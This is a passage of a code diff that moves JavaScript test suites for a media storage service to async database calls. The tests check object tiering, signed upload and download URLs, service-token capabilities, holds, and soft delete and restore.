${all24.promote.done}`), text);-- assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="dry_run"} ${all24.promote.dry_run}`));-- assert.ok(text.includes('media_tier_decisions_24h{target="vod",action="promote",outcome="done"} 1'));++ await db.run("INSERT INTO media_tier_decisions (vod_id, app_id, action, outcome, trigger, reason) VALUES (1, 'live', 'promote', 'done', 'admin', 'test') RETURNING id");++ const registry = require('openvibe-shared/metrics').createRegistry();++ require('../server/observability').domainMetrics(registry, { db, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) } });++ const text = await registry.metricsAsync();++ const all24 = await tiering.counts24h();++ assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="done"} ${all24.promote.done}`), text);++ assert.ok(text.includes(`media_tier_decisions_24h{target="object",action="promote",outcome="dry_run"} ${all24.promote.dry_run}`));++ assert.ok(text.includes('media_tier_decisions_24h{target="vod",action="promote",outcome="done"} 1'));-- const report = require('../server/me/ops').report({ appId: 'live' });-- const no = report.tiering.native_objects;-- const liveR2 = db.get("SELECT COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id WHERE l.provider = 'r2' AND l.state = 'present' AND o.app_id = 'live'").n;-- assert.deepStrictEqual([no.gate.active, no.r2_copies.count, no.eligible_to_promote, no.decisions_24h.promote.done], [true, liveR2, 1, c24.promote.done]);-- assert.ok(no.recent.length && no.sweep.last_result && no.sweep.last_run_at);-- assert.ok(!/until roadmap WS-G task 11/.test(report.tiering.note));-- const html = require('../server/me/pages').renderOps({ person: { subject: 'usr_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3' }, report, canRecompute: false });-- assert.ok(/Native objects/.test(html) && /Activation gate/.test(html) && html.includes(bad.id), 'the /me/ops page shows the gate and the recent decisions');-- console.log('✅ decisions: /tiers/objects/policy and /decisions (filters, pages, app-scoped), the config routes, media_tier_decisions_24h{target}, and the operator views');++ const report = await require('../server/me/ops').report({ appId: 'live' });++ const no = report.tiering.native_objects;++ const liveR2 = (await db.get("SELECT COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id WHERE l.provider = 'r2' AND l.state = 'present' AND o.app_id = 'live'")).n;++ assert.deepStrictEqual([no.gate.active, no.r2_copies.count, no.eligible_to_promote, no.decisions_24h.promote.done], [true, liveR2, 1, c24.promote.done]);++ assert.ok(no.recent.length && no.sweep.last_result && no.sweep.last_run_at);++ assert.ok(!/until roadmap WS-G task 11/.test(report.tiering.note));++ const html = require('../server/me/pages').renderOps({ person: { subject: 'usr_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3' }, report, canRecompute: false });++ assert.ok(/Native objects/.test(html) && /Activation gate/.test(html) && html.includes(bad.id), 'the /me/ops page shows the gate and the recent decisions');++ console.log('✅ decisions: /tiers/objects/policy and /decisions (filters, pages, app-scoped), the config routes, media_tier_decisions_24h{target}, and the operator views');-- // ── 10. The storage sweep runs it (step 4); a restore drill never does ──-- const vodSweep = await storage.runSweep();-- assert.ok(vodSweep.objects && vodSweep.objects.gate === true && typeof vodSweep.objects.promoted === 'number', JSON.stringify(vodSweep));-- assert.strictEqual(r2Row(cand.id) && r2Row(cand.id).state, 'present', 'the storage sweep promoted the candidate');-- // The storage engine's upload is exported (the scheduled verification's default re-upload calls it too).-- assert.deepStrictEqual(['uploadFile', 'copyBetweenProviders', 'sha256Object', 'providerAvailable'].map((f) => typeof storage[f]), ['function', 'function', 'function', 'function']);-- const drill = require('../server/drill');-- drill.enabled = true;-- assert.deepStrictEqual(await tiering.runSweep(), { skipped: true, reason: 'restore drill (MEDIA_DRILL)' });-- drill.enabled = false;-- console.log('✅ the storage sweep runs the object tiering as its step 4; under MEDIA_DRILL it does nothing');++ // ── 10. The storage sweep runs it (step 4); a restore drill never does ──++ const vodSweep = await storage.runSweep();++ assert.ok(vodSweep.objects && vodSweep.objects.gate === true && typeof vodSweep.objects.promoted === 'number', JSON.stringify(vodSweep));++ assert.strictEqual(await r2Row(cand.id) && (await r2Row(cand.id)).state, 'present', 'the storage sweep promoted the candidate');++ // The storage engine's upload is exported (the scheduled verification's default re-upload calls it too).++ assert.deepStrictEqual(['uploadFile', 'copyBetweenProviders', 'sha256Object', 'providerAvailable'].map((f) => typeof storage[f]), ['function', 'function', 'function', 'function']);++ const drill = require('../server/drill');++ drill.enabled = true;++ assert.deepStrictEqual(await tiering.runSweep(), { skipped: true, reason: 'restore drill (MEDIA_DRILL)' });++ drill.enabled = false;++ console.log('✅ the storage sweep runs the object tiering as its step 4; under MEDIA_DRILL it does nothing');-- server.close();-- s3.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All object tiering tests passed');-- process.exit(0);++ server.close();++ s3.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All object tiering tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,261 +10,263 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objapi-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--process.env.MEDIA_OBJECT_MAX_MB = '1';--process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '0'; // every public playback object violates here++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objapi-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ process.env.MEDIA_OBJECT_MAX_MB = '1';++ process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '0'; // every public playback object violates here--const db = require('../server/db/database');--const auth = require('../server/auth');--const model = require('../server/objects/model');--const objectRoutes = require('../server/objects/routes');--const { serviceAuth } = require('openvibe-contracts');--const express = require('express');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const model = require('../server/objects/model');++ const objectRoutes = require('../server/objects/routes');++ const { serviceAuth } = require('openvibe-contracts');++ const express = require('express');--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });--db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 20 });--const now = Math.floor(Date.now() / 1000);--const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);--const SUBJECT = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ await db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 20 });++ const now = Math.floor(Date.now() / 1000);++ const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read'], ns: ['live'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over }, keys.privateKey);++ const SUBJECT = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';--// Same mount order as server/index.js.--const app = express();--app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);--app.use(express.json());--app.use('/api/v1/:app/files', require('../server/files/routes'));--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v2/:app/objects', objectRoutes);--app.use('/o', objectRoutes.publicRouter);--const server = http.createServer(app);--const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');++ // Same mount order as server/index.js.++ const app = express();++ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);++ app.use(express.json());++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v2/:app/objects', objectRoutes);++ app.use('/o', objectRoutes.publicRouter);++ const server = http.createServer(app);++ const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const local = (u) => base + String(u).replace('https://media.test', '');-- const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {-- const h = { ...headers };-- if (bearer) h.authorization = `Bearer ${bearer}`;-- let payload;-- if (raw !== undefined) payload = raw;-- else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }-- const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });-- const text = await res.text();-- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }-- return { status: res.status, body: json, text, headers: res.headers };-- };-- const O = '/api/v2/live/objects';++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => base + String(u).replace('https://media.test', '');++ const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {++ const h = { ...headers };++ if (bearer) h.authorization = `Bearer ${bearer}`;++ let payload;++ if (raw !== undefined) payload = raw;++ else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }++ const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });++ const text = await res.text();++ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }++ return { status: res.status, body: json, text, headers: res.headers };++ };++ const O = '/api/v2/live/objects';-- // ── Init → PUT (upload token, no other credential) → complete ──-- const hello = Buffer.from('hello world');-- let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, filename: '../hello.txt', visibility: 'private', content_hash: sha(hello) } });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const id = r.body.id;-- assert.ok(/^med_[0-9A-HJKMNP-TV-Z]{26}$/.test(id));-- assert.deepStrictEqual([r.body.object.lifecycle_status, r.body.object.metadata.filename, r.body.upload.method, r.body.upload.max_bytes], ['uploading', 'hello.txt', 'PUT', 11]);-- const putUrl = local(r.body.upload.url);-- r = await call('PUT', putUrl, { bearer: null, raw: Buffer.from('hello') });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.size_mismatch']);-- r = await call('PUT', putUrl.replace(/token=[^&]+/, 'token=1.forged'), { bearer: null, raw: hello });-- assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid']);-- r = await call('PUT', putUrl, { bearer: null, raw: hello, headers: { 'content-type': 'application/json' } });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- assert.deepStrictEqual([r.body.size_bytes, r.body.content_hash], [11, sha(hello)]);-- const stored = model.objectFilePath(model.getObject(id));-- assert.strictEqual(fs.readFileSync(stored, 'utf8'), 'hello world', 'bytes stored under OBJECTS_PATH/<app>/<id>');-- r = await call('POST', `${O}/${id}/complete`);-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- assert.deepStrictEqual([r.body.lifecycle_status, r.body.mime_type, r.body.content_hash, r.body.public_url], ['ready', 'text/plain', sha(hello), null]);-- r = await call('GET', `${O}/${id}`);-- assert.strictEqual(r.status, 200);-- assert.deepStrictEqual(r.body.locations, [{ provider: 'local', storage_class: 'hot', state: 'present', size_bytes: 11, verified_at: r.body.locations[0].verified_at, canonical: true }]);-- assert.ok(!r.text.includes(tmp), 'no server paths in responses');-- console.log('✅ init → PUT (upload token) → complete; size + sha256 checked');++ // ── Init → PUT (upload token, no other credential) → complete ──++ const hello = Buffer.from('hello world');++ let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, filename: '../hello.txt', visibility: 'private', content_hash: sha(hello) } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const id = r.body.id;++ assert.ok(/^med_[0-9A-HJKMNP-TV-Z]{26}$/.test(id));++ assert.deepStrictEqual([r.body.object.lifecycle_status, r.body.object.metadata.filename, r.body.upload.method, r.body.upload.max_bytes], ['uploading', 'hello.txt', 'PUT', 11]);++ const putUrl = local(r.body.upload.url);++ r = await call('PUT', putUrl, { bearer: null, raw: Buffer.from('hello') });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.size_mismatch']);++ r = await call('PUT', putUrl.replace(/token=[^&]+/, 'token=1.forged'), { bearer: null, raw: hello });++ assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid']);++ r = await call('PUT', putUrl, { bearer: null, raw: hello, headers: { 'content-type': 'application/json' } });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ assert.deepStrictEqual([r.body.size_bytes, r.body.content_hash], [11, sha(hello)]);++ const stored = model.objectFilePath(await model.getObject(id));++ assert.strictEqual(fs.readFileSync(stored, 'utf8'), 'hello world', 'bytes stored under OBJECTS_PATH/<app>/<id>');++ r = await call('POST', `${O}/${id}/complete`);++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ assert.deepStrictEqual([r.body.lifecycle_status, r.body.mime_type, r.body.content_hash, r.body.public_url], ['ready', 'text/plain', sha(hello), null]);++ r = await call('GET', `${O}/${id}`);++ assert.strictEqual(r.status, 200);++ assert.deepStrictEqual(r.body.locations, [{ provider: 'local', storage_class: 'hot', state: 'present', size_bytes: 11, verified_at: r.body.locations[0].verified_at, canonical: true }]);++ assert.ok(!r.text.includes(tmp), 'no server paths in responses');++ console.log('✅ init → PUT (upload token) → complete; size + sha256 checked');-- // ── Private download: signed, short-lived ──-- r = await call('GET', `/o/${id}`, { bearer: null });-- assert.strictEqual(r.status, 404, 'a private object is not reachable without a signature');-- r = await call('GET', `${O}/${id}/download`);-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.body.public, false);-- assert.ok(Date.parse(r.body.expires_at) > Date.now());-- const signed = r.body.url;-- r = await call('GET', local(signed), { bearer: null });-- assert.deepStrictEqual([r.status, r.text, r.headers.get('content-type'), r.headers.get('x-content-type-options'), r.headers.get('cache-control')], [200, 'hello world', 'text/plain', 'nosniff', 'private, no-store']);-- assert.strictEqual(r.headers.get('content-disposition'), 'inline; filename="hello.txt"');-- r = await call('GET', local(signed).replace(/sig=[^&]+/, 'sig=AAAA'), { bearer: null });-- assert.strictEqual(r.status, 404, 'tampered signature');-- const past = now - 10;-- const oldSig = crypto.createHmac('sha256', 'test-signing-secret').update(`get\n${id}\n${past}`).digest('base64url');-- r = await call('GET', `/o/${id}?exp=${past}&sig=${oldSig}`, { bearer: null });-- assert.strictEqual(r.status, 404, 'expired signature');-- const putSig = crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${id}\n${now + 100}`).digest('base64url');-- r = await call('GET', `/o/${id}?exp=${now + 100}&sig=${putSig}`, { bearer: null });-- assert.strictEqual(r.status, 404, 'an upload signature is not a download signature');-- r = await call('GET', `${O}/${id}/download?redirect=1`);-- assert.strictEqual(r.status, 302);-- console.log('✅ private objects: signed short-lived URLs only');++ // ── Private download: signed, short-lived ──++ r = await call('GET', `/o/${id}`, { bearer: null });++ assert.strictEqual(r.status, 404, 'a private object is not reachable without a signature');++ r = await call('GET', `${O}/${id}/download`);++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.body.public, false);++ assert.ok(Date.parse(r.body.expires_at) > Date.now());++ const signed = r.body.url;++ r = await call('GET', local(signed), { bearer: null });++ assert.deepStrictEqual([r.status, r.text, r.headers.get('content-type'), r.headers.get('x-content-type-options'), r.headers.get('cache-control')], [200, 'hello world', 'text/plain', 'nosniff', 'private, no-store']);++ assert.strictEqual(r.headers.get('content-disposition'), 'inline; filename="hello.txt"');++ r = await call('GET', local(signed).replace(/sig=[^&]+/, 'sig=AAAA'), { bearer: null });++ assert.strictEqual(r.status, 404, 'tampered signature');++ const past = now - 10;++ const oldSig = crypto.createHmac('sha256', 'test-signing-secret').update(`get\n${id}\n${past}`).digest('base64url');++ r = await call('GET', `/o/${id}?exp=${past}&sig=${oldSig}`, { bearer: null });++ assert.strictEqual(r.status, 404, 'expired signature');++ const putSig = crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${id}\n${now + 100}`).digest('base64url');++ r = await call('GET', `/o/${id}?exp=${now + 100}&sig=${putSig}`, { bearer: null });++ assert.strictEqual(r.status, 404, 'an upload signature is not a download signature');++ r = await call('GET', `${O}/${id}/download?redirect=1`);++ assert.strictEqual(r.status, 302);++ console.log('✅ private objects: signed short-lived URLs only');-- // ── Public object: app-key PUT, 302 to /o, Range ──-- const png = Buffer.concat([Buffer.from('\x89PNG\r\n\x1a\n', 'binary'), crypto.randomBytes(100)]);-- r = await call('POST', O, { body: { kind: 'screenshot', visibility: 'public' } });-- const pubId = r.body.id;-- r = await call('PUT', `${O}/${pubId}/content`, { raw: png, headers: { 'content-type': 'image/png' } });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- r = await call('POST', `${O}/${pubId}/complete`);-- assert.deepStrictEqual([r.body.mime_type, r.body.public_url], ['image/png', `https://media.test/o/${pubId}`]);-- r = await call('GET', `${O}/${pubId}/download`);-- assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/o/${pubId}`]);-- r = await call('GET', `/o/${pubId}`, { bearer: null, headers: { range: 'bytes=0-7' } });-- assert.deepStrictEqual([r.status, r.headers.get('content-range'), r.headers.get('content-type')], [206, `bytes 0-7/${png.length}`, 'image/png']);-- console.log('✅ public objects: 302 to the public location, ranged bytes at /o/:id');++ // ── Public object: app-key PUT, 302 to /o, Range ──++ const png = Buffer.concat([Buffer.from('\x89PNG\r\n\x1a\n', 'binary'), crypto.randomBytes(100)]);++ r = await call('POST', O, { body: { kind: 'screenshot', visibility: 'public' } });++ const pubId = r.body.id;++ r = await call('PUT', `${O}/${pubId}/content`, { raw: png, headers: { 'content-type': 'image/png' } });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ r = await call('POST', `${O}/${pubId}/complete`);++ assert.deepStrictEqual([r.body.mime_type, r.body.public_url], ['image/png', `https://media.test/o/${pubId}`]);++ r = await call('GET', `${O}/${pubId}/download`);++ assert.deepStrictEqual([r.status, r.headers.get('location')], [302, `https://media.test/o/${pubId}`]);++ r = await call('GET', `/o/${pubId}`, { bearer: null, headers: { range: 'bytes=0-7' } });++ assert.deepStrictEqual([r.status, r.headers.get('content-range'), r.headers.get('content-type')], [206, `bytes 0-7/${png.length}`, 'image/png']);++ console.log('✅ public objects: 302 to the public location, ranged bytes at /o/:id');-- // ── Service tokens ──-- r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': `user:${SUBJECT}` }, body: { kind: 'asset', size_bytes: 3 } });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- assert.deepStrictEqual([r.body.object.owner.subject, r.body.object.metadata.created_by], [SUBJECT, 'svc:example']);-- const svcId = r.body.id;-- r = await call('PUT', `${O}/${svcId}/content`, { bearer: tok(), raw: Buffer.from('abc') });-- assert.strictEqual(r.status, 200);-- r = await call('POST', `${O}/${svcId}/complete`, { bearer: tok() });-- assert.strictEqual(r.body.lifecycle_status, 'ready');-- r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': 'alice' }, body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'owner must be a usr_ subject');-- r = await call('POST', O, { bearer: tok({ ns: ['community'] }), body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);-- r = await call('POST', O, { bearer: tok({ cap: ['media.object.read'] }), body: {} });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read grant cannot upload');-- r = await call('GET', `${O}?owner=${SUBJECT}`, { bearer: tok({ cap: ['media.object.read'] }) });-- assert.deepStrictEqual(r.body.objects.map(o => o.id), [svcId], 'read grant lists; owner filter');-- r = await call('GET', `${O}/${svcId}`, { bearer: tok({ cap: ['media.object.upload'] }) });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'upload grant cannot read');-- r = await call('POST', `${O}/${svcId}/holds`, { bearer: tok(), body: { kind: 'admin' } });-- assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'holds are app-key only');-- r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'games-key' });-- assert.strictEqual(r.status, 404, 'objects are namespaced');-- r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'live-key' });-- assert.strictEqual(r.status, 403, "another app's key is refused");-- console.log('✅ service tokens: capability + namespace enforced, X-OV-Subject owns the object');++ // ── Service tokens ──++ r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': `user:${SUBJECT}` }, body: { kind: 'asset', size_bytes: 3 } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ assert.deepStrictEqual([r.body.object.owner.subject, r.body.object.metadata.created_by], [SUBJECT, 'svc:example']);++ const svcId = r.body.id;++ r = await call('PUT', `${O}/${svcId}/content`, { bearer: tok(), raw: Buffer.from('abc') });++ assert.strictEqual(r.status, 200);++ r = await call('POST', `${O}/${svcId}/complete`, { bearer: tok() });++ assert.strictEqual(r.body.lifecycle_status, 'ready');++ r = await call('POST', O, { bearer: tok(), headers: { 'x-ov-subject': 'alice' }, body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.object.invalid'], 'owner must be a usr_ subject');++ r = await call('POST', O, { bearer: tok({ ns: ['community'] }), body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.namespace_denied']);++ r = await call('POST', O, { bearer: tok({ cap: ['media.object.read'] }), body: {} });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'read grant cannot upload');++ r = await call('GET', `${O}?owner=${SUBJECT}`, { bearer: tok({ cap: ['media.object.read'] }) });++ assert.deepStrictEqual(r.body.objects.map(o => o.id), [svcId], 'read grant lists; owner filter');++ r = await call('GET', `${O}/${svcId}`, { bearer: tok({ cap: ['media.object.upload'] }) });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'upload grant cannot read');++ r = await call('POST', `${O}/${svcId}/holds`, { bearer: tok(), body: { kind: 'admin' } });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'capability.denied'], 'holds are app-key only');++ r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'games-key' });++ assert.strictEqual(r.status, 404, 'objects are namespaced');++ r = await call('GET', `/api/v2/games/objects/${svcId}`, { bearer: 'live-key' });++ assert.strictEqual(r.status, 403, "another app's key is refused");++ console.log('✅ service tokens: capability + namespace enforced, X-OV-Subject owns the object');-- // ── Cursor listing ──-- const page1 = await call('GET', `${O}?limit=2`);-- assert.strictEqual(page1.body.objects.length, 2);-- assert.ok(page1.body.next_cursor);-- const page2 = await call('GET', `${O}?limit=2&cursor=${page1.body.next_cursor}`);-- const seen = [...page1.body.objects, ...page2.body.objects].map(o => o.id);-- assert.deepStrictEqual(seen, [svcId, pubId, id], 'newest first, no duplicates');-- assert.strictEqual(page2.body.next_cursor, null);-- assert.deepStrictEqual((await call('GET', `${O}?kind=screenshot`)).body.objects.map(o => o.id), [pubId]);-- assert.deepStrictEqual((await call('GET', `${O}?visibility=private&kind=file`)).body.objects.map(o => o.id), [id]);-- assert.strictEqual((await call('GET', `${O}?cursor=nope`)).status, 400);-- console.log('✅ cursor listing with filters');++ // ── Cursor listing ──++ const page1 = await call('GET', `${O}?limit=2`);++ assert.strictEqual(page1.body.objects.length, 2);++ assert.ok(page1.body.next_cursor);++ const page2 = await call('GET', `${O}?limit=2&cursor=${page1.body.next_cursor}`);++ const seen = [...page1.body.objects, ...page2.body.objects].map(o => o.id);++ assert.deepStrictEqual(seen, [svcId, pubId, id], 'newest first, no duplicates');++ assert.strictEqual(page2.body.next_cursor, null);++ assert.deepStrictEqual((await call('GET', `${O}?kind=screenshot`)).body.objects.map(o => o.id), [pubId]);++ assert.deepStrictEqual((await call('GET', `${O}?visibility=private&kind=file`)).body.objects.map(o => o.id), [id]);++ assert.strictEqual((await call('GET', `${O}?cursor=nope`)).status, 400);++ console.log('✅ cursor listing with filters');-- // ── Acting users see public + their own ──-- r = await call('POST', O, { headers: { 'x-ov-user-id': '7' }, body: { kind: 'file', visibility: 'private' } });-- const sevens = r.body.id;-- assert.strictEqual(r.body.object.owner.user_id, 7);-- assert.strictEqual((await call('GET', `${O}/${sevens}`, { headers: { 'x-ov-user-id': '8' } })).status, 404);-- assert.ok(!(await call('GET', O, { headers: { 'x-ov-user-id': '8' } })).body.objects.some(o => o.id === sevens || o.id === id), 'no enumeration of others\' private objects');-- assert.ok((await call('GET', O, { headers: { 'x-ov-user-id': '7' } })).body.objects.some(o => o.id === sevens));-- assert.strictEqual((await call('DELETE', `${O}/${pubId}`, { headers: { 'x-ov-user-id': '8' } })).status, 403);-- console.log('✅ acting users: public + own objects only');++ // ── Acting users see public + their own ──++ r = await call('POST', O, { headers: { 'x-ov-user-id': '7' }, body: { kind: 'file', visibility: 'private' } });++ const sevens = r.body.id;++ assert.strictEqual(r.body.object.owner.user_id, 7);++ assert.strictEqual((await call('GET', `${O}/${sevens}`, { headers: { 'x-ov-user-id': '8' } })).status, 404);++ assert.ok(!(await call('GET', O, { headers: { 'x-ov-user-id': '8' } })).body.objects.some(o => o.id === sevens || o.id === id), 'no enumeration of others\' private objects');++ assert.ok((await call('GET', O, { headers: { 'x-ov-user-id': '7' } })).body.objects.some(o => o.id === sevens));++ assert.strictEqual((await call('DELETE', `${O}/${pubId}`, { headers: { 'x-ov-user-id': '8' } })).status, 403);++ console.log('✅ acting users: public + own objects only');-- // ── Holds, soft delete, restore ──-- r = await call('POST', `${O}/${id}/holds`, { body: { kind: 'dmca', reason: 'notice 42' } });-- assert.strictEqual(r.status, 201);-- const holdId = r.body.id;-- assert.strictEqual(r.body.created_by, 'app:live');-- assert.strictEqual((await call('GET', `${O}/${id}`)).body.held, true);-- r = await call('DELETE', `${O}/${id}`);-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);-- assert.strictEqual((await call('POST', `${O}/${id}/holds`, { body: { kind: 'nope' } })).status, 400);-- assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 1);-- r = await call('DELETE', `${O}/${id}/holds/${holdId}`);-- assert.ok(r.body.released_at);-- assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 0);-- assert.strictEqual((await call('GET', `${O}/${id}/holds?all=1`)).body.holds.length, 1);-- r = await call('DELETE', `${O}/${id}`);-- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted']);-- assert.ok(fs.existsSync(stored), 'soft delete keeps the bytes');-- assert.strictEqual((await call('GET', local(signed), { bearer: null })).status, 410, 'a deleted object is gone, even with a valid signature');-- assert.strictEqual((await call('GET', `${O}/${id}/download`)).status, 410);-- assert.ok(!(await call('GET', O)).body.objects.some(o => o.id === id), 'deleted objects leave the default listing');-- assert.ok((await call('GET', `${O}?include_deleted=1`)).body.objects.some(o => o.id === id));-- r = await call('POST', `${O}/${id}/restore`);-- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);-- assert.strictEqual((await call('POST', `${O}/${id}/restore`)).status, 409);-- console.log('✅ holds block deletion (409); soft delete keeps bytes; restore');++ // ── Holds, soft delete, restore ──++ r = await call('POST', `${O}/${id}/holds`, { body: { kind: 'dmca', reason: 'notice 42' } });++ assert.strictEqual(r.status, 201);++ const holdId = r.body.id;++ assert.strictEqual(r.body.created_by, 'app:live');++ assert.strictEqual((await call('GET', `${O}/${id}`)).body.held, true);++ r = await call('DELETE', `${O}/${id}`);++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);++ assert.strictEqual((await call('POST', `${O}/${id}/holds`, { body: { kind: 'nope' } })).status, 400);++ assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 1);++ r = await call('DELETE', `${O}/${id}/holds/${holdId}`);++ assert.ok(r.body.released_at);++ assert.strictEqual((await call('GET', `${O}/${id}/holds`)).body.holds.length, 0);++ assert.strictEqual((await call('GET', `${O}/${id}/holds?all=1`)).body.holds.length, 1);++ r = await call('DELETE', `${O}/${id}`);++ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'deleted']);++ assert.ok(fs.existsSync(stored), 'soft delete keeps the bytes');++ assert.strictEqual((await call('GET', local(signed), { 